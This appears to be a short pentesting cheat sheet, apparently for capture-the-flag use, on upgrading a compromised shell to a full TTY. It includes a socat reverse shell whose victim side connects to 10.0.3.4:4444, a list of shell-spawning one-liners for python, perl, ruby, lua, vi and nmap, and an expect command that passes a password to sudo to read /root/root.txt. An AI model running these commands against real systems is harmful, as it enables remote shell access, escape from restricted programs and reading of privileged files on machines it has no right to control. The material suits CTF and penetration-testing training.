Full TTYs

Python

python3 -c 'import pty; pty.spawn("/bin/bash")'

# Within NC session
CTRL+Z
stty -a # Note rows and cols
stty raw -echo; fg
ls
export SHELL=/bin/bash
export TERM=screen
stty rows <rows> cols <cols>
reset

Script

script /dev/null -qc /bin/bash

Socat

# Listener
socat file:`tty`,raw,echo=0 tcp-listen:4444

# Victim
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444

Spawn shells

• python -c 'import pty; pty.spawn("/bin/sh")'
• echo os.system('/bin/bash')
• /bin/sh -i
• script -qc /bin/bash /dev/null
• perl -e 'exec "/bin/sh";'
• perl: exec "/bin/sh";
• ruby: exec "/bin/sh"
• lua: os.execute('/bin/sh')
• IRB: exec "/bin/sh"
• vi: :!bash
• vi: :set shell=/bin/bash:shell
• nmap: !sh

No TTY, No Problem

If for some reason you cannot obtain a full TTY you still can interact with programs that expect user input. In the following example, the password is passed to sudo to read a file:

expect -c 'spawn sudo -S cat "/root/root.txt";expect "*password*";send "<THE_PASSWORD_OF_THE_USER>";send "\r\n";interact'